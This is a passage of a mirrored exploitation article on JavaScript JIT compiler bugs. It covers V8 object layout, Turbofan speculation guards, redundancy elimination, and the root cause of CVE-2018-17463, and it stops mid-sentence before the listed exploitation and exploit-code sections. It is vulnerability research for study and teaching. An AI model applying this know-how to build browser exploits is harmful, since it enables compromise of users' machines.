mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-16 00:00:03 +01:00
1329 lines
52 KiB
Text
1329 lines
52 KiB
Text
![]() |
|=-----------------------------------------------------------------------=|
|
|||
|
|=---------------=[ The Art of Exploitation ]=---------------=|
|
|||
|
|=-----------------------------------------------------------------------=|
|
|||
|
|=----------------=[ Compile Your Own Type Confusions ]=-----------------=|
|
|||
|
|=---------=[ Exploiting Logic Bugs in JavaScript JIT Engines ]=---------=|
|
|||
|
|=-----------------------------------------------------------------------=|
|
|||
|
|=----------------------------=[ saelo ]=--------------------------------=|
|
|||
|
|=-----------------------=[ phrack@saelo.net ]=--------------------------=|
|
|||
|
|=-----------------------------------------------------------------------=|
|
|||
|
|
|||
|
|
|||
|
--[ Table of contents
|
|||
|
|
|||
|
0 - Introduction
|
|||
|
1 - V8 Overview
|
|||
|
1.1 - Values
|
|||
|
1.2 - Maps
|
|||
|
1.3 - Object Summary
|
|||
|
2 - An Introduction to Just-in-Time Compilation for JavaScript
|
|||
|
2.1 - Speculative Just-in-Time Compilation
|
|||
|
2.2 - Speculation Guards
|
|||
|
2.3 - Turbofan
|
|||
|
2.4 - Compiler Pipeline
|
|||
|
2.5 - A JIT Compilation Example
|
|||
|
3 - JIT Compiler Vulnerabilities
|
|||
|
3.1 - Redundancy Elimination
|
|||
|
3.2 - CVE-2018-17463
|
|||
|
4 - Exploitation
|
|||
|
4.1 - Constructing Type Confusions
|
|||
|
4.2 - Gaining Memory Read/Write
|
|||
|
4.3 - Reflections
|
|||
|
4.4 - Gaining Code Execution
|
|||
|
5 - References
|
|||
|
6 - Exploit Code
|
|||
|
|
|||
|
|
|||
|
--[ 0 - Introduction
|
|||
|
|
|||
|
This article strives to give an introduction into just-in-time (JIT)
|
|||
|
compiler vulnerabilities at the example of CVE-2018-17463, a bug found
|
|||
|
through source code review and used as part of the hack2win [1] competition
|
|||
|
in September 2018. The vulnerability was afterwards patched by Google with
|
|||
|
commit 52a9e67a477bdb67ca893c25c145ef5191976220 "[turbofan] Fix
|
|||
|
ObjectCreate's side effect annotation" and the fix was made available to
|
|||
|
the public on October 16th with the release of Chrome 70.
|
|||
|
|
|||
|
Source code snippets in this article can also be viewed online in the
|
|||
|
source code repositories as well as on code search [2]. The exploit was
|
|||
|
tested on chrome version 69.0.3497.81 (64-bit), corresponding to v8 version
|
|||
|
6.9.427.19.
|
|||
|
|
|||
|
|
|||
|
--[ 1 - V8 Overview
|
|||
|
|
|||
|
V8 is Google's open source JavaScript engine and is used to power amongst
|
|||
|
others Chromium-based web browsers. It is written in C++ and commonly used
|
|||
|
to execute untrusted JavaScript code. As such it is an interesting piece of
|
|||
|
software for attackers.
|
|||
|
|
|||
|
V8 features numerous pieces of documentation, both in the source code and
|
|||
|
online [3]. Furthermore, v8 has multiple features that facilitate the
|
|||
|
exploring of its inner workings:
|
|||
|
|
|||
|
0. A number of builtin functions usable from JavaScript, enabled
|
|||
|
through the --enable-natives-syntax flag for d8 (v8's JavaScript
|
|||
|
shell). These e.g. allow the user to inspect an object via
|
|||
|
%DebugPrint, to trigger garbage collection with %CollectGarbage, or to
|
|||
|
force JIT compilation of a function through %OptimizeFunctionOnNextCall.
|
|||
|
|
|||
|
1. Various tracing modes, also enabled through command-line flags, which
|
|||
|
cause logging of numerous engine internal events to stdout or a log
|
|||
|
file. With these, it becomes possible to e.g. trace the behavior of
|
|||
|
different optimization passes in the JIT compiler.
|
|||
|
|
|||
|
2. Miscellaneous tools in the tools/ subdirectory such as a visualizer
|
|||
|
of the JIT IR called turbolizer.
|
|||
|
|
|||
|
--[ 1.1 - Values
|
|||
|
|
|||
|
As JavaScript is a dynamically typed language, the engine must store type
|
|||
|
information with every runtime value. In v8, this is accomplished through a
|
|||
|
combination of pointer tagging and the use of dedicated type information
|
|||
|
objects, called Maps.
|
|||
|
|
|||
|
The different JavaScript value types in v8 are listed in src/objects.h, of
|
|||
|
which an excerpt is shown below.
|
|||
|
|
|||
|
// Inheritance hierarchy:
|
|||
|
// - Object
|
|||
|
// - Smi (immediate small integer)
|
|||
|
// - HeapObject (superclass for everything allocated in the heap)
|
|||
|
// - JSReceiver (suitable for property access)
|
|||
|
// - JSObject
|
|||
|
// - Name
|
|||
|
// - String
|
|||
|
// - HeapNumber
|
|||
|
// - Map
|
|||
|
// ...
|
|||
|
|
|||
|
A JavaScript value is then represented as a tagged pointer of static type
|
|||
|
Object*. On 64-bit architectures, the following tagging scheme is used:
|
|||
|
|
|||
|
Smi: [32 bit signed int] [31 bits unused] 0
|
|||
|
HeapObject: [64 bit direct pointer] | 01
|
|||
|
|
|||
|
As such, the pointer tag differentiates between Smis and HeapObjects. All
|
|||
|
further type information is then stored in a Map instance to which a
|
|||
|
pointer can be found in every HeapObject at offset 0.
|
|||
|
|
|||
|
With this pointer tagging scheme, arithmetic or binary operations on Smis
|
|||
|
can often ignore the tag as the lower 32 bits will be all zeroes. However,
|
|||
|
dereferencing a HeapObject requires masking off the least significant bit
|
|||
|
(LSB) first. For that reason, all accesses to data members of a HeapObject
|
|||
|
have to go through special accessors that take care of clearing the LSB. In
|
|||
|
fact, Objects in v8 do not have any C++ data members, as access to those
|
|||
|
would be impossible due to the pointer tag. Instead, the engine stores data
|
|||
|
members at predefined offsets in an object through mentioned accessor
|
|||
|
functions. In essence, v8 thus defines the in-memory layout of Objects
|
|||
|
itself instead of delegating this to the compiler.
|
|||
|
|
|||
|
----[ 1.2 - Maps
|
|||
|
|
|||
|
The Map is a key data structure in v8, containing information such as
|
|||
|
|
|||
|
* The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, ...
|
|||
|
* The size of the object in bytes
|
|||
|
* The properties of the object and where they are stored
|
|||
|
* The type of the array elements, e.g. unboxed doubles or tagged pointers
|
|||
|
* The prototype of the object if any
|
|||
|
|
|||
|
While the property names are usually stored in the Map, the property values
|
|||
|
are stored with the object itself in one of several possible regions. The
|
|||
|
Map then provides the exact location of the property value in the
|
|||
|
respective region.
|
|||
|
|
|||
|
In general there are three different regions in which property values can
|
|||
|
be stored: inside the object itself ("inline properties"), in a separate,
|
|||
|
dynamically sized heap buffer ("out-of-line properties"), or, if the
|
|||
|
property name is an integer index [4], as array elements in a
|
|||
|
dynamically-sized heap array. In the first two cases, the Map will store
|
|||
|
the slot number of the property value while in the last case the slot
|
|||
|
number is the element index. This can be seen in the following example:
|
|||
|
|
|||
|
let o1 = {a: 42, b: 43};
|
|||
|
let o2 = {a: 1337, b: 1338};
|
|||
|
|
|||
|
After execution, there will be two JSObjects and one Map in memory:
|
|||
|
|
|||
|
+----------------+
|
|||
|
| |
|
|||
|
| map1 |
|
|||
|
| |
|
|||
|
| property: slot |
|
|||
|
| .a : 0 |
|
|||
|
| .b : 1 |
|
|||
|
| |
|
|||
|
+----------------+
|
|||
|
^ ^
|
|||
|
+--------------+ | |
|
|||
|
| +------+ |
|
|||
|
| o1 | +--------------+
|
|||
|
| | | |
|
|||
|
| slot : value | | o2 |
|
|||
|
| 0 : 42 | | |
|
|||
|
| 1 : 43 | | slot : value |
|
|||
|
+--------------+ | 0 : 1337 |
|
|||
|
| 1 : 1338 |
|
|||
|
+--------------+
|
|||
|
|
|||
|
As Maps are relatively expensive objects in terms of memory usage, they are
|
|||
|
shared as much as possible between "similar" objects. This can be seen in
|
|||
|
the previous example, where both o1 and o2 share the same Map, map1.
|
|||
|
However, if a third property .c (e.g. with value 1339) is added to o1, then
|
|||
|
the Map can no longer be shared as o1 and o2 now have different properties.
|
|||
|
As such, a new Map is created for o1:
|
|||
|
|
|||
|
+----------------+ +----------------+
|
|||
|
| | | |
|
|||
|
| map1 | | map2 |
|
|||
|
| | | |
|
|||
|
| property: slot | | property: slot |
|
|||
|
| .a : 0 | | .a : 0 |
|
|||
|
| .b : 1 | | .b : 1 |
|
|||
|
| | | .c : 2 |
|
|||
|
+----------------+ +----------------+
|
|||
|
^ ^
|
|||
|
| |
|
|||
|
| |
|
|||
|
+--------------+ +--------------+
|
|||
|
| | | |
|
|||
|
| o2 | | o1 |
|
|||
|
| | | |
|
|||
|
| slot : value | | slot : value |
|
|||
|
| 0 : 1337 | | 0 : 1337 |
|
|||
|
| 1 : 1338 | | 1 : 1338 |
|
|||
|
+--------------+ | 2 : 1339 |
|
|||
|
+--------------+
|
|||
|
|
|||
|
If later on the same property .c was added to o2 as well, then both objects
|
|||
|
would again share map2. The way this works efficiently is by keeping track
|
|||
|
in each Map which new Map an object should be transitioned to if a property
|
|||
|
of a certain name (and possibly type) is added to it. This data structure
|
|||
|
is commonly called a transition table.
|
|||
|
|
|||
|
V8 is, however, also capable of storing the properties as a hash map
|
|||
|
instead of using the Map and slot mechanism, in which case the property
|
|||
|
name is directly mapped to the value. This is used in cases when the engine
|
|||
|
believes that the Map mechanism will induce additional overhead, such as
|
|||
|
e.g. in the case of singleton objects.
|
|||
|
|
|||
|
The Map mechanism is also essential for garbage collection: when the
|
|||
|
collector processes an allocation (a HeapObject), it can immediately
|
|||
|
retrieve information such as the object's size and whether the object
|
|||
|
contains any other tagged pointers that need to be scanned by inspecting
|
|||
|
the Map.
|
|||
|
|
|||
|
----[ 1.3 - Object Summary
|
|||
|
|
|||
|
Consider the following code snippet
|
|||
|
|
|||
|
let obj = {
|
|||
|
x: 0x41,
|
|||
|
y: 0x42
|
|||
|
};
|
|||
|
obj.z = 0x43;
|
|||
|
obj[0] = 0x1337;
|
|||
|
obj[1] = 0x1338;
|
|||
|
|
|||
|
After execution in v8, inspecting the memory address of the object shows:
|
|||
|
|
|||
|
(lldb) x/5gx 0x23ad7c58e0e8
|
|||
|
0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201
|
|||
|
0x23ad7c58e0f8: 0x000023ad7c58e229 0x0000004100000000
|
|||
|
0x23ad7c58e108: 0x0000004200000000
|
|||
|
|
|||
|
(lldb) x/3gx 0x23ad7c58e200
|
|||
|
0x23ad7c58e200: 0x000023adafb038f9 0x0000000300000000
|
|||
|
0x23ad7c58e210: 0x0000004300000000
|
|||
|
|
|||
|
(lldb) x/6gx 0x23ad7c58e228
|
|||
|
0x23ad7c58e228: 0x000023adafb028b9 0x0000001100000000
|
|||
|
0x23ad7c58e238: 0x0000133700000000 0x0000133800000000
|
|||
|
0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691
|
|||
|
...
|
|||
|
|
|||
|
First is the object itself which consists of a pointer to its Map
|
|||
|
(0x23adbcd8c751), the pointer to its out-of-line properties
|
|||
|
(0x23ad7c58e201), the pointer to its elements (0x23ad7c58e229), and the two
|
|||
|
inline properties (x and y). Inspecting the out-of-line properties pointer
|
|||
|
shows another object that starts with a Map (which indicates that this is a
|
|||
|
FixedArray) followed by the size and the property z. The elements array
|
|||
|
again starts with a pointer to the Map, followed by the capacity, followed
|
|||
|
by the two elements with index 0 and 1 and 9 further elements set to the
|
|||
|
magic value "the_hole" (indicating that the backing memory has been
|
|||
|
overcommitted). As can be seen, all values are stored as tagged pointers.
|
|||
|
If further objects were created in the same fashion, they would reuse the
|
|||
|
existing Map.
|
|||
|
|
|||
|
|
|||
|
--[ 2 - An Introduction to Just-in-Time Compilation for JavaScript
|
|||
|
|
|||
|
Modern JavaScript engines typically employ an interpreter and one or
|
|||
|
multiple just-in-time compilers. As a unit of code is executed more
|
|||
|
frequently, it is moved to higher tiers which are capable of executing the
|
|||
|
code faster, although their startup time is usually higher as well.
|
|||
|
|
|||
|
The next section aims to give an intuitive introduction rather than a
|
|||
|
formal explanation of how JIT compilers for dynamic languages such as
|
|||
|
JavaScript manage to produce optimized machine code from a script.
|
|||
|
|
|||
|
----[ 2.1 - Speculative Just-in-Time Compilation
|
|||
|
|
|||
|
Consider the following two code snippets. How could each of them be
|
|||
|
compiled to machine code?
|
|||
|
|
|||
|
// C++
|
|||
|
int add(int a, int b) {
|
|||
|
return a + b;
|
|||
|
}
|
|||
|
|
|||
|
// JavaScript
|
|||
|
function add(a, b) {
|
|||
|
return a + b;
|
|||
|
}
|
|||
|
|
|||
|
The answer seems rather clear for the first code snippet. After all, the
|
|||
|
types of the arguments as well as the ABI, which specifies the registers
|
|||
|
used for parameters and return values, are known. Further, the instruction
|
|||
|
set of the target machine is available. As such, compilation to machine
|
|||
|
code might produce the following x86_64 code:
|
|||
|
|
|||
|
lea eax, [rdi + rsi]
|
|||
|
ret
|
|||
|
|
|||
|
However, for the JavaScript code, type information is not known. As such,
|
|||
|
it seems impossible to produce anything better than the generic add
|
|||
|
operation handler [5], which would only provide a negligible performance
|
|||
|
boost over the interpreter. As it turns out, dealing with missing type
|
|||
|
information is a key challenge to overcome for compiling dynamic languages
|
|||
|
to machine code. This can also be seen by imagining a hypothetical
|
|||
|
JavaScript dialect which uses static typing, for example:
|
|||
|
|
|||
|
function add(a: Smi, b: Smi) -> Smi {
|
|||
|
return a + b;
|
|||
|
}
|
|||
|
|
|||
|
In this case, it is again rather easy to produce machine code:
|
|||
|
|
|||
|
lea rax, [rdi+rsi]
|
|||
|
jo bailout_integer_overflow
|
|||
|
ret
|
|||
|
|
|||
|
This is possible because the lower 32 bits of a Smi will be all zeroes due
|
|||
|
to the pointer tagging scheme. This assembly code looks very similar to the
|
|||
|
C++ example, except for the additional overflow check, which is required
|
|||
|
since JavaScript does not know about integer overflows (in the
|
|||
|
specification all numbers are IEEE 754 double precision floating point
|
|||
|
numbers), but CPUs certainly do. As such, in the unlikely event of an
|
|||
|
integer overflow, the engine would have to transfer execution to a
|
|||
|
different, more generic execution tier like the interpreter. There it would
|
|||
|
repeat the failed operation and in this case convert both inputs to
|
|||
|
floating point numbers prior to adding them together. This mechanism is
|
|||
|
commonly called bailout and is essential for JIT compilers, as it allows
|
|||
|
them to produce specialized code which can always fall back to more generic
|
|||
|
code if an unexpected situation occurs.
|
|||
|
|
|||
|
Unfortunately, for plain JavaScript the JIT compiler does not have the
|
|||
|
comfort of static type information. However, as JIT compilation only
|
|||
|
happens after several executions in a lower tier, such as the interpreter,
|
|||
|
the JIT compiler can use type information from previous executions. This,
|
|||
|
in turn, enables speculative optimization: the compiler will assume that a
|
|||
|
unit of code will be used in a similar way in the future and thus see the
|
|||
|
same types for e.g. the arguments. It can then produce optimized code like
|
|||
|
the one shown above assuming that the types will be used in the future.
|
|||
|
|
|||
|
----[ 2.2 Speculation Guards
|
|||
|
|
|||
|
Of course, there is no guarantee that a unit of code will always be used in
|
|||
|
a similar way. As such, the compiler must verify that all of its type
|
|||
|
speculations still hold at runtime before executing the optimized code.
|
|||
|
This is accomplished through a number of lightweight runtime checks,
|
|||
|
discussed next.
|
|||
|
|
|||
|
By inspecting feedback from previous executions and the current engine
|
|||
|
state, the JIT compiler first formulates various speculations such as "this
|
|||
|
value will always be a Smi", or "this value will always be an object with a
|
|||
|
specific Map", or even "this Smi addition will never cause an integer
|
|||
|
overflow". Each of these speculations is then verified to still hold at
|
|||
|
runtime with a short piece of machine code, called a speculation guard. If
|
|||
|
the guard fails, it will perform a bailout to a lower execution tier such
|
|||
|
as the interpreter. Below are two commonly used speculation guards:
|
|||
|
|
|||
|
; Ensure is Smi
|
|||
|
test rdi, 0x1
|
|||
|
jnz bailout
|
|||
|
|
|||
|
; Ensure has expected Map
|
|||
|
cmp QWORD PTR [rdi-0x1], 0x12345601
|
|||
|
jne bailout
|
|||
|
|
|||
|
The first guard, a Smi guard, verifies that some value is a Smi by checking
|
|||
|
that the pointer tag is zero. The second guard, a Map guard, verifies that
|
|||
|
a HeapObject in fact has the Map that it is expected to have.
|
|||
|
|
|||
|
Using speculation guards, dealing with missing type information becomes:
|
|||
|
|
|||
|
0. Gather type profiles during execution in the interpreter
|
|||
|
|
|||
|
1. Speculate that the same types will be used in the future
|
|||
|
|
|||
|
2. Guard those speculations with runtime speculation guards
|
|||
|
|
|||
|
3. Afterwards, produce optimized code for the previously seen types
|
|||
|
|
|||
|
In essence, inserting a speculation guard adds a piece of static type
|
|||
|
information to the code following it.
|
|||
|
|
|||
|
----[ 2.3 Turbofan
|
|||
|
|
|||
|
Even though an internal representation of the user's JavaScript code is
|
|||
|
already available in the form of bytecode for the interpreter, JIT
|
|||
|
compilers commonly convert the bytecode to a custom intermediate
|
|||
|
representation (IR) which is better suited for the various optimizations
|
|||
|
performed. Turbofan, the JIT compiler inside v8, is no exception. The IR
|
|||
|
used by turbofan is graph-based, consisting of operations (nodes) and
|
|||
|
different types of edges between them, namely
|
|||
|
|
|||
|
* control-flow edges, connecting control-flow operations such as loops
|
|||
|
and if conditions
|
|||
|
|
|||
|
* data-flow edges, connecting input and output values
|
|||
|
|
|||
|
* effect-flow edges, which connect effectual operations such that they
|
|||
|
are scheduled correctly. For example: consider a store to a property
|
|||
|
followed by a load of the same property. As there is no data- or
|
|||
|
control-flow dependency between the two operations, effect-flow is
|
|||
|
needed to correctly schedule the store before the load.
|
|||
|
|
|||
|
Further, the turbofan IR supports three different types of operations:
|
|||
|
JavaScript operations, simplified operations, and machine operations.
|
|||
|
Machine operations usually resemble a single machine instruction while JS
|
|||
|
operations resemble a generic bytecode instruction. Simplified operations
|
|||
|
are somewhere in between. As such, machine operations can directly be
|
|||
|
translated into machine instructions while the other two types of
|
|||
|
operations require further conversion steps to lower-level operations (a
|
|||
|
process called lowering). For example, the generic property load operations
|
|||
|
could be lowered to a CheckHeapObject and CheckMaps operation followed by a
|
|||
|
8-byte load from an inline slot of an object.
|
|||
|
|
|||
|
A comfortable way to study the behavior of the JIT compiler in various
|
|||
|
scenarios is through v8's turbolizer tool [6]: a small web application that
|
|||
|
consumes the output produced by the --trace-turbo command line flag and
|
|||
|
renders it as an interactive graph.
|
|||
|
|
|||
|
----[ 2.4 Compiler Pipeline
|
|||
|
|
|||
|
Given the previously described mechanisms, a typical JavaScript JIT
|
|||
|
compiler pipeline then looks roughly as follows:
|
|||
|
|
|||
|
0. Graph building and specialization: the bytecode as well as runtime
|
|||
|
type profiles from the interpreter are consumed and an IR graph,
|
|||
|
representing the same computations, is constructed. Type profiles are
|
|||
|
inspected and based on them speculations are formulated, e.g. about
|
|||
|
which types of values to see for an operation. The speculations are
|
|||
|
guarded with speculation guards.
|
|||
|
|
|||
|
1. Optimization: the resulting graph, which now has static type
|
|||
|
information due to the guards, is optimized much like "classic"
|
|||
|
ahead-of-time (AOT) compilers do. Here an optimization is defined as a
|
|||
|
transformation of code that is not required for correctness but
|
|||
|
improves the execution speed or memory footprint of the code. Typical
|
|||
|
optimizations include loop-invariant code motion, constant folding,
|
|||
|
escape analysis, and inlining.
|
|||
|
|
|||
|
2. Lowering: finally, the resulting graph is lowered to machine code
|
|||
|
which is then written into an executable memory region. From that point
|
|||
|
on, invoking the compiled function will result in a transfer of
|
|||
|
execution to the generated code.
|
|||
|
|
|||
|
This structure is rather flexible though. For example, lowering could
|
|||
|
happen in multiple stages, with further optimizations in between them. In
|
|||
|
addition, register allocation has to be performed at some point, which is,
|
|||
|
however, also an optimization to some degree.
|
|||
|
|
|||
|
----[ 2.5 - A JIT Compilation Example
|
|||
|
|
|||
|
This chapter is concluded with an example of the following function being
|
|||
|
JIT compiled by turbofan:
|
|||
|
|
|||
|
function foo(o) {
|
|||
|
return o.b;
|
|||
|
}
|
|||
|
|
|||
|
During parsing, the function would first be compiled to generic bytecode,
|
|||
|
which can be inspected using the --print-bytecode flag for d8. The output
|
|||
|
is shown below.
|
|||
|
|
|||
|
Parameter count 2
|
|||
|
Frame size 0
|
|||
|
12 E> 0 : a0 StackCheck
|
|||
|
31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0]
|
|||
|
33 S> 5 : a4 Return
|
|||
|
Constant pool (size = 1)
|
|||
|
0x1fbc69c24ad9: [FixedArray] in OldSpace
|
|||
|
- map: 0x1fbc6ec023c1 <Map>
|
|||
|
- length: 1
|
|||
|
0: 0x1fbc69c24301 <String[1]: b>
|
|||
|
|
|||
|
The function is mainly compiled to two operations: LdaNamedProperty, which
|
|||
|
loads property .b of the provided argument, and Return, which returns said
|
|||
|
property. The StackCheck operation at the beginning of the function guards
|
|||
|
against stack overflows by throwing an exception if the call stack size is
|
|||
|
exceeded. More information about v8's bytecode format and interpreter can
|
|||
|
be found online [7].
|
|||
|
|
|||
|
To trigger JIT compilation, the function has to be invoked several times:
|
|||
|
|
|||
|
for (let i = 0; i < 100000; i++) {
|
|||
|
foo({a: 42, b: 43});
|
|||
|
}
|
|||
|
|
|||
|
/* Or by using a native after providing some type information: */
|
|||
|
foo({a: 42, b: 43});
|
|||
|
foo({a: 42, b: 43});
|
|||
|
%OptimizeFunctionOnNextCall(foo);
|
|||
|
foo({a: 42, b: 43});
|
|||
|
|
|||
|
This will also inhabit the feedback vector of the function which associates
|
|||
|
observed input types with bytecode operations. In this case, the feedback
|
|||
|
vector entry for the LdaNamedProperty would contain a single entry: the Map
|
|||
|
of the objects that were given to the function as argument. This Map will
|
|||
|
indicate that property .b is stored in the second inline slot.
|
|||
|
|
|||
|
Once turbofan starts compiling, it will build a graph representation of the
|
|||
|
JavaScript code. It will also inspect the feedback vector and, based on
|
|||
|
that, speculate that the function will always be called with an object of a
|
|||
|
specific Map. Next, it guards these assumptions with two runtime checks,
|
|||
|
which will bail out to the interpreter if the assumptions ever turn out to
|
|||
|
be false, then proceeds to emit a property load for an inline property.
|
|||
|
The optimized graph will ultimately look similar to the one shown below.
|
|||
|
Here, only data-flow edges are shown.
|
|||
|
|
|||
|
+----------------+
|
|||
|
| |
|
|||
|
| Parameter[1] |
|
|||
|
| |
|
|||
|
+-------+--------+
|
|||
|
| +-------------------+
|
|||
|
| | |
|
|||
|
+-------------------> CheckHeapObject |
|
|||
|
| |
|
|||
|
+----------+--------+
|
|||
|
+------------+ |
|
|||
|
| | |
|
|||
|
| CheckMap <-----------------------+
|
|||
|
| |
|
|||
|
+-----+------+
|
|||
|
| +------------------+
|
|||
|
| | |
|
|||
|
+-------------------> LoadField[+32] |
|
|||
|
| |
|
|||
|
+----------+-------+
|
|||
|
+----------+ |
|
|||
|
| | |
|
|||
|
| Return <------------------------+
|
|||
|
| |
|
|||
|
+----------+
|
|||
|
|
|||
|
This graph will then be lowered to machine code similar to the following.
|
|||
|
|
|||
|
; Ensure o is not a Smi
|
|||
|
test rdi, 0x1
|
|||
|
jz bailout_not_object
|
|||
|
|
|||
|
; Ensure o has the expected Map
|
|||
|
cmp QWORD PTR [rdi-0x1], 0xabcd1234
|
|||
|
jne bailout_wrong_map
|
|||
|
|
|||
|
; Perform operation for object with known Map
|
|||
|
mov rax, [rdi+0x1f]
|
|||
|
ret
|
|||
|
|
|||
|
If the function were to be called with an object with a different Map, the
|
|||
|
second guard would fail, causing a bailout to the interpreter (more
|
|||
|
precisely to the LdaNamedProperty operation of the bytecode) and likely the
|
|||
|
discarding of the compiled code. Eventually, the function would be
|
|||
|
recompiled to take the new type feedback into account. In that case, the
|
|||
|
function would be re-compiled to perform a polymorphic property load
|
|||
|
(supporting more than one input type), e.g. by emitting code for the
|
|||
|
property load for both Maps, then jumping to the respective one depending
|
|||
|
on the current Map. If the operation becomes even more polymorphic, the
|
|||
|
compiler might decide to use a generic inline cache (IC) [8][9] for
|
|||
|
the polymorphic operation. An IC caches previous lookups but can always
|
|||
|
fall-back to the runtime function for previously unseen input types without
|
|||
|
bailing out of the JIT code.
|
|||
|
|
|||
|
|
|||
|
--[ 3 - JIT Compiler Vulnerabilities
|
|||
|
|
|||
|
JavaScript JIT compilers are commonly implemented in C++ and as such are
|
|||
|
subject to the usual list of memory- and type-safety violations. These are
|
|||
|
not specific to JIT compilers and will thus not be discussed further.
|
|||
|
Instead, the focus will be put on bugs in the compiler which lead to
|
|||
|
incorrect machine code generation which can then be exploited to cause
|
|||
|
memory corruption.
|
|||
|
|
|||
|
Besides bugs in the lowering phases [10][11] which often result in rather
|
|||
|
classic vulnerabilities like integer overflows in the generated machine
|
|||
|
code, many interesting bugs come from the various optimizations. There have
|
|||
|
been bugs in bounds-check elimination [12][13][14][15], escape analysis
|
|||
|
[16][17], register allocation [18], and others. Each optimization pass
|
|||
|
tends to yield its own kind of vulnerabilities.
|
|||
|
|
|||
|
When auditing complex software such as JIT compilers, it is often a
|
|||
|
sensible approach to determine specific vulnerability patterns in advance
|
|||
|
and look for instances of them. This is also a benefit of manual code
|
|||
|
auditing: knowing that a particular type of bug usually leads to a simple,
|
|||
|
reliable exploit, this is what the auditor can look for specifically.
|
|||
|
|
|||
|
As such, a specific optimization, namely redundancy elimination, will be
|
|||
|
discussed next, along with the type of vulnerability one can find there and
|
|||
|
a concrete vulnerability, CVE-2018-17463, accompanied with an exploit.
|
|||
|
|
|||
|
----[ 3.1 - Redundancy Elimination
|
|||
|
|
|||
|
One popular class of optimizations aims to remove safety checks from the
|
|||
|
emitted machine code if they are determined to be unnecessary. As can be
|
|||
|
imagined, these are very interesting for the auditor as a bug in those will
|
|||
|
usually result in some kind of type confusion or out-of-bounds access.
|
|||
|
|
|||
|
One instance of these optimization passes, often called "redundancy
|
|||
|
elimination", aims to remove redundant type checks. As an example, consider
|
|||
|
the following code:
|
|||
|
|
|||
|
function foo(o) {
|
|||
|
return o.a + o.b;
|
|||
|
}
|
|||
|
|
|||
|
Following the JIT compilation approach outlined in chapter 2, the following
|
|||
|
IR code might be emitted for it:
|
|||
|
|
|||
|
CheckHeapObject o
|
|||
|
CheckMap o, map1
|
|||
|
r0 = Load [o + 0x18]
|
|||
|
|
|||
|
CheckHeapObject o
|
|||
|
CheckMap o, map1
|
|||
|
r1 = Load [o + 0x20]
|
|||
|
|
|||
|
r2 = Add r0, r1
|
|||
|
CheckNoOverflow
|
|||
|
Return r2
|
|||
|
|
|||
|
The obvious issue here is the redundant second pair of CheckHeapObject and
|
|||
|
CheckMap operations. In that case it is clear that the Map of o can not
|
|||
|
change between the two CheckMap operations. The goal of redundancy
|
|||
|
elimination is thus to detect these types of redundant checks and remove
|
|||
|
all but the first one on the same control-flow path.
|
|||
|
|
|||
|
However, certain operations can cause side-effects: observable changes to
|
|||
|
the execution context. For example, a Call operation invoking a user
|
|||
|
supplied function could easily cause an object’s Map to change, e.g. by
|
|||
|
adding or removing a property. In that case, a seemingly redundant check is
|
|||
|
in fact required as the Map could change in between the two checks. As such
|
|||
|
it is essential for this optimization that the compiler knows about all
|
|||
|
effectful operations in its IR. Unsurprisingly, correctly predicting side
|
|||
|
effects of JIT operations can be quite hard due to to the nature of the
|
|||
|
JavaScript language. Bugs related to incorrect side effect predictions thus
|
|||
|
appear from time to time and are typically exploited by tricking the
|
|||
|
compiler into removing a seemingly redundant type check, then invoking the
|
|||
|
compiled code such that an object of an unexpected type is used without a
|
|||
|
preceding type check. Some form of type confusion then follows.
|
|||
|
|
|||
|
Vulnerabilities related to incorrect modeling of side-effect can usually be
|
|||
|
found by locating IR operations which are assumed side-effect free by the
|
|||
|
engine, then verifying whether they really are side-effect free in all
|
|||
|
cases. This is how CVE-2018-17463 was found.
|
|||
|
|
|||
|
----[ 3.2 CVE-2018-17463
|
|||
|
|
|||
|
In v8, IR operations have various flags associated with them. One of them,
|
|||
|
kNoWrite, indicates that the engine assumes that an operation will not have
|
|||
|
observable side-effects, it does not "write" to the effect chain. An
|
|||
|
example for such an operation was JSCreateObject, shown below:
|
|||
|
|
|||
|
#define CACHED_OP_LIST(V) \
|
|||
|
... \
|
|||
|
V(CreateObject, Operator::kNoWrite, 1, 1) \
|
|||
|
...
|
|||
|
|
|||
|
To determine whether an IR operation might have side-effects it is often
|
|||
|
necessary to look at the lowering phases which convert high-level
|
|||
|
operations, such as JSCreateObject, into lower-level instruction and
|
|||
|
eventually machine instructions. For JSCreateObject, the lowering happens
|
|||
|
in js-generic-lowering.cc, responsible for lowering JS operations:
|
|||
|
|
|||
|
void JSGenericLowering::LowerJSCreateObject(Node* node) {
|
|||
|
CallDescriptor::Flags flags = FrameStateFlagForCall(node);
|
|||
|
Callable callable = Builtins::CallableFor(
|
|||
|
isolate(), Builtins::kCreateObjectWithoutProperties);
|
|||
|
ReplaceWithStubCall(node, callable, flags);
|
|||
|
}
|
|||
|
|
|||
|
In plain english, this means that a JSCreateObject operation will be
|
|||
|
lowered to a call to the runtime function CreateObjectWithoutProperties.
|
|||
|
This function in turn ends up calling ObjectCreate, another builtin but
|
|||
|
this time implemented in C++. Eventually, control flow ends up in
|
|||
|
JSObject::OptimizeAsPrototype. This is interesting as it seems to imply
|
|||
|
that the prototype object may potentially be modified during said
|
|||
|
optimization, which could be an unexpected side-effect for the JIT
|
|||
|
compiler. The following code snippet can be run to check whether
|
|||
|
OptimizeAsPrototype modifies the object in some way:
|
|||
|
|
|||
|
let o = {a: 42};
|
|||
|
%DebugPrint(o);
|
|||
|
Object.create(o);
|
|||
|
%DebugPrint(o);
|
|||
|
|
|||
|
Indeed, running it with `d8 --allow-natives-syntax` shows:
|
|||
|
|
|||
|
DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
|
|||
|
- map: 0x0344c6f02571 <Map(HOLEY_ELEMENTS)> [FastProperties]
|
|||
|
...
|
|||
|
|
|||
|
DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
|
|||
|
- map: 0x0344c6f0d6d1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
|
|||
|
|
|||
|
As can be seen, the object's Map has changed when becoming a prototype so
|
|||
|
the object must have changed in some way as well. In particular, when
|
|||
|
becoming a prototype, the out-of-line property storage of the object was
|
|||
|
converted to dictionary mode. As such the pointer at offset 8 from the
|
|||
|
object will no longer point to a PropertyArray (all properties one after
|
|||
|
each other, after a short header), but instead to a NameDictionary (a more
|
|||
|
complex data structure directly mapping property names to values without
|
|||
|
relying on the Map). This certainly is a side effect and in this case an
|
|||
|
unexpected one for the JIT compiler. The reason for the Map change is that
|
